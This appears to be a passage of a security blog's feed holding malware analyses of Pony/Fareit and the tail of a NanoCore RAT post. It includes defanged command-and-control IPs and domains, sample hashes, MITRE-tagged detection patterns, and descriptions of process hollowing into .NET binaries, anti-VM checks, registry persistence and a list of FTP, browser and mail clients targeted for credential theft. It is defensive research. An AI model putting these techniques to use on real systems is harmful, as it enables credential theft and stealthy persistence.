class="language-none">High104[.]22[.]53[.]7194[.]156[.]69[.]145222[.]114[.]183[.]144139[.]84[.]139[.]2973[.]225[.]6[.]15591[.]92[.]253[.]74192[.]169[.]69[.]26209[.]25[.]141[.]18145[.]76[.]118[.]7185[.]244[.]30[.]238103[.]153[.]78[.]43194[.]68[.]59[.]60185[.]244[.]30[.]212185[.]244[.]30[.]128185[.]244[.]30[.]247136[.]243[.]111[.]7174[.]77[.]124[.]10443[.]155[.]118[.]60194[.]33[.]191[.]126149[.]56[.]101[.]4294[.]156[.]69[.]3750[.]3[.]70[.]19138[.]146[.]219[.]23241[.]68[.]133[.]39185[.]29[.]11[.]37194[.]147[.]140[.]141194[.]147[.]140[.]151seeno[.]hopto[.]orgwallpapercave[.]comcustomcheats[.]ddns[.]netdecember2nd[.]ddns[.]netdecember2n[.]duckdns[.]orgkgj112233[.]codns[.]commaxlogs[.]webhop[.]meBaggard437[.]ddns[.]netdriver-computational[.]at[.]ply[.]ggvictacking[.]ddns[.]netstrongodss[.]ddns[.]netalexwill[.]ddns[.]netemedoo[.]ddns[.]netxp18[.]ddns[.]netjiiihihihiguuhhgygygtdtdtgdsdxfulllbb[.]ydns[.]euMedium91[.]92[.]243[.]7191[.]92[.]253[.]23691[.]92[.]243[.]17891[.]92[.]252[.]19294[.]156[.]71[.]21291[.]92[.]241[.]16391[.]92[.]250[.]11991[.]92[.]251[.]19891[.]92[.]241[.]58185[.]244[.]30[.]80103[.]153[.]79[.]164103[.]153[.]78[.]182103[.]153[.]79[.]210103[.]153[.]78[.]93103[.]153[.]78[.]214103[.]153[.]78[.]59185[.]189[.]49[.]67185[.]189[.]50[.]129194[.]68[.]59[.]65185[.]189[.]51[.]65194[.]68[.]59[.]51194[.]68[.]59[.]60194[.]68[.]59[.]7186[.]107[.]103[.]43167[.]114[.]9[.]80167[.]114[.]9[.]81167[.]114[.]9[.]82167[.]114[.]9[.]84Low94[.]156[.]69[.]23291[.]92[.]250[.]52<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;📡This is not a déjà vu, this is an update and improvement of the &lt;a href=&quot;https://rexorvc0.com/2021/10/28/NanoCore/&quot;&gt;NanoCore&lt;/a&gt; which I looked at years ago because my analysis seems to me very incomplete, and in addition we see how it has evolved and new versions of this malware have been released📡&lt;/p&gt;
&lt;p&gt;NanoCore (also known as Nancrat) is considered a RAT (Remote Admin Tool), which is used to obtain relevant information from victims such as data from the affected computer, camera captures, keyboard input, etc. It also serves as remote control for the attacker, who will have the ability to manipulate the system, remotely execute scripts, etc.&lt;/p&gt;
&lt;p&gt;It first appeared in 2012, and its author was sentenced to over two years in prison in 2017. The code for NanoCore has been leaked on several occasions throughout its versions, allowing different criminal groups like APT to use it at some point, potentially refining or adding functionalities. And undoubtedly, it has also been used by countless Script Kiddies.&lt;/p&gt;
&lt;p&gt;NanoCore, therefore, has been used in a multitude of ways and has been notably seen in Spear-Phishing, where it is introduced in a document or in a ZIP&amp;#x2F;RAR file that triggers the execution of a loader or another malware that runs it. However, it has also been observed in the download of links for some software, trying to appear as a legitimate program, which ends up in the same situation as a download of a script or a ZIP containing a NancRAT loader.&lt;/p&gt;
&lt;p&gt;As mentioned earlier, NanoCore has been used by various groups, which, given the functionality of the malware, would act in the intermediate phase of the attack where they already have access to the infrastructure and want relevant information and the ability to freely access it. Although a large number of campaigns using NanoCore in conjunction with other malware that could not be attributed have been seen, there is evidence of groups that have historically been seen using NanoCore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;APT33 | RefinedKitten (🇮🇳)&lt;/li&gt;
&lt;li&gt;Gorgon Group (🇵🇰)&lt;/li&gt;
&lt;li&gt;Vendetta (🇹🇷)&lt;/li&gt;
&lt;li&gt;TA2719 (🏴)&lt;/li&gt;
&lt;li&gt;TA2722 (🏴)&lt;/li&gt;
&lt;li&gt;Aggah (🏴)&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    <category term="Research" scheme="https://rexorvc0.com/categories/Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Pivoting" scheme="https://rexorvc0.com/tags/Pivoting/"/>
    
    <category term="RAT" scheme="https://rexorvc0.com/tags/RAT/"/>
    
  </entry>
  
  <entry>
    <title>Pony | Fareit</title>
    <link href="https://rexorvc0.com/2024/02/04/Pony_Fareit/"/>
    <id>https://rexorvc0.com/2024/02/04/Pony_Fareit/</id>
    <published>2024-02-04T07:00:00.000Z</published>
    <updated>2025-03-30T20:21:30.987Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p>Pony (also known as Fareit or Siplog) is a malware categorized as a loader and stealer, although it is also used as a botnet, being a tool that has been used for more than 10 years and is still in use. This infamous malware continues to receive updates and can be purchased, and has been involved in information theft or used to launch other malwares during attacks on victim infrastructures.</p><p>Given that this malware has such a long history (yes, 10 years in cyber is a lot), the methods of use and execution of Pony have varied, as it has depended on who has used it, whether they are more or less organized groups. It has typically been seen in phishing campaigns where a typical message in the language of the targeted country was introduced, simulating some kind of urgency, or alternatively, attacked web pages have been seen where download links have been replaced by a Fareit loader or directly the execution of it. Pony has also been notorious in exploit kits or in fake programs where trying to download the free version of something would gift you with a malware disguised as a small horse.</p><p>Pony has been seen used by various groups, usually related to crime, whose general objective is usually to obtain money, and whose functionality of stealing data, persisting, and also the possibility of being used as a bot, is tremendously useful. Obviously, most cases of the use of this type of tool cannot be associated with groups, and years ago the code of Pony versions was leaked, which increased its use both in organized and less organized groups. However, when incidents are observed in which an actor interacts with tools typical of a group or with a characteristic kill chain with methodologies that have been used before, it helps us to place these tools also in their use in more organized groups. Therefore, the groups of this type that have been seen using Fareit are as follows:</p><ul><li>Cobalt Group ( 🇷🇺 ) </li><li>Gold Evergreen | TA505 | GracefulSpider  ( 🇷🇺 ) </li><li>Gold Galleon ( Suspected 🇳🇬 )</li><li>Gold Essex | TA544 |  NarwhalSpider ( 🏴 )</li></ul><span id="more"></span><br><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>As I mentioned earlier, actors who normally use Pony can launch it in various ways, with the aim of having the loader or the file downloaded with more or less intent. The next step will depend on the origin, with a document launching a preliminary version or a ZIP&#x2F;RAR containing a supposed software or important document that we have downloaded. After this, except for some versions that use scripts to launch Pony, we will have the main execution of the malware. As usual, there are different versions coexisting that in their core are practically the same, but hide peculiarities that change the execution approach and, of course, the understanding and detection of the malware.</p><p>In this graph, I try to depict the synthesis of most of the functionalities of Pony that I found months ago:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a6df2370-79a5-4679-bb2f-5d19d0cd1b8b" alt="0"></p><p>As I mentioned, I have launched and analyzed a large number of different samples, and I’ll leave you some examples of how their execution would look like here, representing the most typical ones. In most samples, they make changes to network registries to have smooth communication with suspicious domains or to prevent the system from alerting about any unusual communication or traffic that would be denied by default</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/df00fde9-4524-41da-a1b7-397651f3e460" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/b584fae4-1c63-4247-a504-73bab2f81e0a" alt="image"></p><p>Getting into the specifics, the first thing we can see is directly how information is obtained from the system, or conversely, how auxiliary files or copies of the main file are started in other paths</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/bdd1fff7-9101-492b-af07-aa50405acea5" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/eebb13c5-523d-476c-96a3-16652a70911e" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/808c105b-b344-4129-816a-fd2ae903a5ac" alt="image"></p><p>On occasions, I have encountered samples that focus heavily on what some RATs do, which I have seen many times, which is the abuse of legitimate .NET tools where they inject or load modules into them to remain hidden. (This time, you might want to enjoy playing The Witcher, and you’d encounter an interesting problem)</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/7ec88a50-1dcc-4161-8b57-7df5df81acd7" alt="image"></p><p>When launching auxiliary files or copies of the main file, it usually deletes the original file by running a .BAT, which in most cases, if not all, is identical:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/51eca949-85cb-4e15-a76a-887a763633ff" alt="image"></p><p>When we take a closer look at the samples, most of them are usually .NET, although I have encountered other compilers, packed versions, but the one that abounds is usually .NET. What we usually see is how it handles large strings, which is usually another binary</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/13153758-7610-47d3-8680-e94807b31bc0" alt="image"></p><p>Basically, what it does is pass it through a function to extract the binary.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a47224f1-d03f-46a4-b479-9cee62c87323" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a0dff06f-62af-4c6b-bc05-bbdb8d2d562e" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/f40e12b2-88cb-4490-a627-1db6f51eb287" alt="image"></p><p>A representative chart of everything together would be the following:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/0b69f08d-9ba5-4569-9566-931aa3e7d7ec" alt="image"></p><p>As you can see, I’ve called it “Load Module”, initially, I thought it performed several concatenated injections, something I’ve seen before. In this case, it’s interesting because what it extracts in memory, as you can see, has Anti-Analysis techniques, potential for injection (we see Unmap, so we can guess it will do ProcessHollow), and more functions</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/b145b0ab-8c9e-4caa-a917-efb361a14b9c" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e67235f7-a110-4c52-901e-54384b37778e" alt="image"></p><p>This module, once it is already loaded (S is the secondary), we can see it in the main (with socru being the main).</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/07e9ef5b-e356-46f3-bfa4-c90d31fb2e98" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/64dc11e0-55d6-43d7-a089-b47711ac23d1" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/debfd6df-6309-40ee-96f7-45a2285a65ca" alt="image"></p><p>In the end, the module is another .NET that will be hosted within the main one and will expand the functionalities of the first. These techniques are ultimately used to not be able to understand the intentions of the initial sample and to make detection more difficult</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/9095a38e-3db0-4845-9d15-75c9712a9fb8" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/5bff7c32-0118-462e-ba89-1465b5dd8b9c" alt="image"></p><p>In some other samples, it practically does the same work to extract it, but the module is more or less obfuscated, but the functionality does not change. I was really lucky because the first samples I analyzed were not obfuscated, which later helps you understand the functionality of the samples and have a more discerning eye.</p><p>An example of these obfuscated samples that ultimately do the same thing:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/6add9653-d4ea-4f83-a047-1ba36a1b9dd6" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e06acfac-f91d-44ee-a1f9-20eefd4825ee" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c8766310-1f26-4b01-b977-a1a91f987c9f" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/7a62cc56-fd17-461e-9484-bb973baa5c2c" alt="image"></p><h2 id="Loaded-Module"><a href="#Loaded-Module" class="headerlink" title="_Loaded Module"></a>_Loaded Module</h2><p>This module, which is actually running after the first one, means that we don’t see the original binary spawning anything at first glance; we only see it working</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/fed2f72c-2b13-476e-95f4-ea0ea3c27a41" alt="image"></p><p>After this, it starts creating folders to launch the subsequent files that we have seen before. We will see them in more detail later, but the one with less weight (12KB) is an auxiliary file that only takes care of persistence and searching for the base file to restart execution, which in this case is the one with more weight (304KB), which is nothing more than an identical copy of the file we initially downloaded</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/4c0ab76b-3ddb-4070-9549-b82887a981fe" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/41663826-7cfa-4ffc-90b2-1b96f46d902e" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/ba37b62e-9272-4e8a-8e1f-75397ececac2" alt="image"></p><p>As I mentioned earlier, it has various basic Anti-Sandbox and Anti-VM techniques, which ultimately involve making requests to know the video controller we have. If we are emulating a machine, they will typically have strings from VirtualBox or VMWARE. In the other case, it involves capturing running processes and seeing if any of them are related to tools it doesn’t like, which is quite common</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/1f1aa967-3caa-4727-8a89-4ea5ca989085" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c287d8aa-5df2-40e7-a190-1619299639a5" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a99eb960-730c-4e2c-ac63-3f0f128ab239" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e6f524a9-566c-46a6-b017-1668fd123bac" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/8c417253-445a-4fe5-a0af-143db3313d33" alt="image"></p><p>The summary of these would be as follows:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e65208e6-e49d-4b2d-9d1d-f5aade45f2ac" alt="image"></p><p>Continuing with the thread, we would see how it copies itself. This doesn’t always happen because, as I mentioned earlier, sometimes it uses direct loading or injection onto .NET processes (like the one we saw before with The Witcher)</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/7b98e221-0566-4cab-8494-fc68c63dc270" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/d3ecb978-c700-4002-966c-c4469d52edc4" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/ed1ba8d4-e0b0-4af6-ab9b-36b32b03bff2" alt="image"></p><p>After this, it has a copy of itself and has increased its capabilities, but the next step is to perform an injection on itself. Here we see that it has different options, which in our case leads to self-injection, as it searches for “Filename” but has the ability to inject into other .NET-related processes</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/0a9cc60b-d87f-41d5-9f1c-15378dc69468" alt="image"></p><p>Examples of posible .NET-related process:</p><pre class="line-numbers language-none"><code class="language-none">vbc.exeAppLaunch.exeMSBuild.exeinstallutil.exeregasm.exeaspnet_compiler.exeregsvcs.exe<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>As we suspected earlier, it performs Process Hollowing since it has the ability to remove data from the target process, reserve space in it, and insert code</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/02b557e0-2ac3-4a38-a7bf-f55f826deb50" alt="image"></p><p>In the end, what we see is how it resolves the header and suspends a process, in this case, itself, in another thread to inject the code. As we can see, it has imports related to UPX, but we’ll see this later</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/34b5e8ea-5eec-48b8-87bc-758c78d82166" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/f50b2ef5-43ce-4d96-8022-b344401120e3" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c7ea890c-8bf8-4cec-b0dd-c2000dc78a8b" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/4aaa144a-1014-4218-85f3-01a00a7449ed" alt="image"></p><p>The summary of all this work is shown in another graph:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/bb305269-8558-409e-acfc-2c1f2ab8f1c9" alt="image"></p><p>When it performs the injection, it launches the auxiliary file I mentioned earlier, which supports it, and kills the main process. Also, here it executes the .BAT in some samples for self-deletion</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/8c743c7a-b41f-4557-8eaf-956404d38842" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c0fa7eda-59ca-46c9-9e4e-21fcbe84a06c" alt="image"></p><h2 id="Aux-file"><a href="#Aux-file" class="headerlink" title="_Aux file"></a>_Aux file</h2><p>In this auxiliary file, as I mentioned, it takes care of persistence and restarting execution, so it will simply be a file that will be in charge of restarting the whole cycle again, executing the copy that it will have launched in some folder, restarting the module loading, the injection, and so on, so we see how it executes it.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/3ab341c6-771b-4dd3-9669-81ac8279faf6" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/2930f929-5e4f-4487-b0fa-3ab8e58e6ca6" alt="image"></p><p>And how it creates persistence from this auxiliary file</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/be37f3a3-a247-4114-a880-d618682d4f14" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/621f3d40-74b4-447b-a3de-7b10b0c3509f" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/c996fd39-15d1-4da9-8b53-62998ee64106" alt="image"></p><p>Depending on the samples, persistence is carried out in one key or another, and it also depends on some occasions on the module loaded into memory, as it already has the ability to persist because it does not have an auxiliary file. So, the summary is as follows:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/0aaa2d95-0d87-459a-9946-c348a31adf01" alt="image"></p><p>Here I have tried to go step by step from when I take a first sample and develop all its functionality in order, but we are missing a step because the thread has followed this logic:</p><p>.<br>├ (Parentprc) Principal binary  &lt; DONE<br>├ (Parentprc) (Load in runtime) Load new module &lt; DONE<br>├ (Parentprc) New capabilities at ppal binary &lt; DONE<br>|————├ (Childprc) (Injected) Injection of new code (?)</p><br><h2 id="Payload"><a href="#Payload" class="headerlink" title="_Payload"></a>_Payload</h2><p>We had mentioned that it injects new code, but during the analysis, we had not been able to look at this, so when extracted manually, we obtain a sample in UPX.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/5dad02c1-1d8b-4da9-b15a-ad98d79c10fa" alt="image"></p><p>Once the unpack is done (well unpack, it pains me to consider UPX as a packer out of respect for true geniuses I have been lucky enough to know who have collaborated on packers that are works of art, but in practice it is a packer :D ). This code is responsible for establishing communication with the C&amp;C. It has interesting modules to handle users, establish communication, or also write files. So, in the end, the attacker can launch more malware from outside or have quite extensive control with a network channel</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/3a80aa66-e0ab-41be-967d-47c95ee8f93f" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a84e43b9-507d-4557-88b1-081e5ffd4d9f" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/a9985205-ff0a-4d64-862e-e74686bad791" alt="image"></p><p>Here we find countless references to FTP, search engines, email, etc. That we will see it obtains during runtime once the injection has been done.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/6a533c12-65f7-433d-8184-c4c1b15226f9" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/7e73476f-745f-4437-96b9-3dc533c89245" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/ffdd11f3-2292-4185-ab50-33fcef6c6660" alt="image"></p><p>Also, in some samples, we find directly the URL with which it will establish communication, which will also be the Pony portal</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/df888339-52cd-47e6-8cb0-5848f1a55e12" alt="image"></p><p>Unfortunately, the panel in the samples I was looking at was already down. It’s quite curious because, as I mentioned at the beginning, more than half of the samples referenced legitimate company websites that had been exploited and had their Pony panel inserted. This is a fairly high percentage, and I found it curious because I also found companies that had experienced this situation and had open directories. Anyway, for your reference, here’s how the login panel usually looks, maintaining the same structure:</p><pre class="line-numbers language-none"><code class="language-none">&lt;ip&#x2F;domain&gt;*&#x2F;gate.php|admin.php<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/b02ca532-ee5d-432e-8777-5329051555ba" alt="image"></p><p>In the end, what we see is how it makes requests via registry or files to a large number of software that it will later exfiltrate.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/3335a79d-9a5b-46d0-b3e9-817117a8ab72" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/81cbbcbd-66a9-4a30-8888-fcedc3b6ad0a" alt="image"></p><p>The summary graph of several samples is as follows:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e568a472-3fc6-4a6f-8c53-6c9a806ebf53" alt="image"></p><p>More or less usually steals similar things, FTP, tools related with passw, browsers, and so on.This is usually done either by looking in the configuration files of the softwares or by looking in the registry as I said before. Here’s a list of what most closely matched the samples I have seen</p><pre class="line-numbers language-none"><code class="language-none">Windows commanderTotalCommanderLeapWareMartin Prikryl &#x2F; WinSCPNetDriveWS_FTPCuteFTPQCToolbarFlashFXPFilezillaBullet Proof FTPSmartFTPTurboFTPFFFTPCOREFTPVanDyke SecureFXFTP RushBitKinexExpanDriveClassicFTPLeapFTPLeechFTPNovaFTPFlashFXPWS_FTPOperaMozillaChromeAceBITRhinoSoftWindows Live MailPocoMailBatMail<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>I have reached the point of injecting the payload in different samples, but to no one’s surprise, it was quite similar in terms of loaded functions, strings (there are many more in one, but it’s due to the extraction), in short, the core of the payload was very similar in all of them.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/e3af40c6-f55f-4fcd-929d-4c9f408a19e1" alt="image"></p><p>This can also be seen more simply when it injects into .NET processes</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/52e701c3-3b3a-46c0-b7d6-04335f4c234f" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/32c7b6c9-20ec-49c3-a9e2-2dc02b21ab95" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/8c8ad593-538e-4dc6-b353-61e521bc932b" alt="image"></p><h1 id="Summary"><a href="#Summary" class="headerlink" title="_Summary"></a>_Summary</h1><p>As I mentioned, there are various samples, but most of them rely on an auxiliary file to maintain persistence, whose path tends to change quite a bit and serves as a loader for a copy of the main binary that will be launched in some location, which is also variable. At this point, it usually loads another module, either into itself, into another file, or into one related to .NET, which serves to increase capabilities and then perform injection at runtime. After this, it establishes communication after stealing data from different software, as well as basic system and&#x2F;or user information. It is quite common in the use of Pony that the target websites where it communicates are websites that have been previously exploited due to poor security management, so it also helps in its concealment that it actually communicates with a school or university website (Yes, I’ve seen them in Pony too). The downside of this is that the paths established by the attacker where the panel is installed tend to fall quite quickly, making it difficult to pivot and store IOCs because they are very variable and often related to legitimate websites</p><h1 id="Outro"><a href="#Outro" class="headerlink" title="_Outro"></a>_Outro</h1><p>I also checked in underground markets and forums, and it’s interesting that there are quite old posts where it is promoted a bit and how people are still in that thread asking for certain functionalities or software expansions</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/26a05bc6-c0f1-46af-80f8-76b480e05ce8" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/668afbe0-caff-4653-b04e-cfaa270946e1" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/35227d8c-c166-4a2f-abe7-a03d366a77b7" alt="image"></p><p>Finally, I would like to thank you for reading this analysis and for supporting me :)</p><br><h1 id="Detection-Oportunities"><a href="#Detection-Oportunities" class="headerlink" title="_Detection Oportunities"></a>_Detection Oportunities</h1><p>Execution</p><ul><li>[TA0002][T1059.005] Loader in VBS of pony executed via wscript</li></ul><pre class="line-numbers language-none"><code class="language-none">(Command)*WScript.exe*\AppData\Local\Temp\*\*.vbs<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><p>Persistence</p><ul><li>[TA0003][T1547.001] Persistence using dropped files in temporary folders in diferent registry keys</li></ul><pre class="line-numbers language-none"><code class="language-none">(Registry) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Load  (Registry) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (Registry) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><br><p>Defense Evasion</p><ul><li>[TA0005][T1070.004] Delete file using .BAT</li></ul><pre class="line-numbers language-none"><code class="language-none">(Command)cmd.exe &#x2F;c*C:\Users\user\AppData\Local\Temp\*.bat*csc.exe* <span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0005][T1036] Paths used to drop auxiliar files or copies of original binary</li></ul><pre class="line-numbers language-none"><code class="language-none">(Path)C:\Users\user\AppData\Local\Temp\*.bat|.exe(Path)C:\Users\user\AppData\Roaming\Microsoft\*.bat|.exe(Path)C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\*.bat|.exe<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><ul><li>[TA0005][T1055.012] Process injection</li></ul><pre class="line-numbers language-none"><code class="language-none">From file in temporary folder &gt; injection &gt; csc&#x2F;MSBuild From file in temporary folder &gt; injection &gt; Other unidentified file in same temporary path<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><br><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><pre class="line-numbers language-none"><code class="language-none">1a1dc33fae444afdd54f6f50dd47ed4b9f673fbc5595dad7b48e78cac04584656a581c0c07ceb888ea418fccffd5efba33b9fd6561be1bcf90b0d6ba4deefd05442b8223413bc9b08a5983da23c5964839b1551ab4a84759d94dc5c9a228eacc 0db43ad0ab0735bf0b84fb780e5e075b0c61c8e884d678430c2324d692afae4b3887d3d133504bb41d03e8fd96539c38c3accaf5aa97f2948599a473800d0befC1be3c17f856344daf7ab2ad08074e94145f371698f52bc93b5dde4030c53f62 F3c2d287c23bc90e0185b416d9e3d0469f4c4eaa21aecd1835061f3677bee67f C61AF2853F0E94D65ECA09CEA4E00DE29A10F03518B0729E859739FD4FFFD08De9772b945a731b447725680b8ef8b8252c2bb19931005718a8711ae527d532ba63c825619e3cff8843b7ef1d81b493fa1addc20c548ac98010acc6afd254351a<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;Pony (also known as Fareit or Siplog) is a malware categorized as a loader and stealer, although it is also used as a botnet, being a tool that has been used for more than 10 years and is still in use. This infamous malware continues to receive updates and can be purchased, and has been involved in information theft or used to launch other malwares during attacks on victim infrastructures.&lt;/p&gt;
&lt;p&gt;Given that this malware has such a long history (yes, 10 years in cyber is a lot), the methods of use and execution of Pony have varied, as it has depended on who has used it, whether they are more or less organized groups. It has typically been seen in phishing campaigns where a typical message in the language of the targeted country was introduced, simulating some kind of urgency, or alternatively, attacked web pages have been seen where download links have been replaced by a Fareit loader or directly the execution of it. Pony has also been notorious in exploit kits or in fake programs where trying to download the free version of something would gift you with a malware disguised as a small horse.&lt;/p&gt;
&lt;p&gt;Pony has been seen used by various groups, usually related to crime, whose general objective is usually to obtain money, and whose functionality of stealing data, persisting, and also the possibility of being used as a bot, is tremendously useful. Obviously, most cases of the use of this type of tool cannot be associated with groups, and years ago the code of Pony versions was leaked, which increased its use both in organized and less organized groups. However, when incidents are observed in which an actor interacts with tools typical of a group or with a characteristic kill chain with methodologies that have been used before, it helps us to place these tools also in their use in more organized groups. Therefore, the groups of this type that have been seen using Fareit are as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cobalt Group ( 🇷🇺 ) &lt;/li&gt;
&lt;li&gt;Gold Evergreen | TA505 | GracefulSpider  ( 🇷🇺 ) &lt;/li&gt;
&lt;li&gt;Gold Galleon ( Suspected 🇳🇬 )&lt;/li&gt;
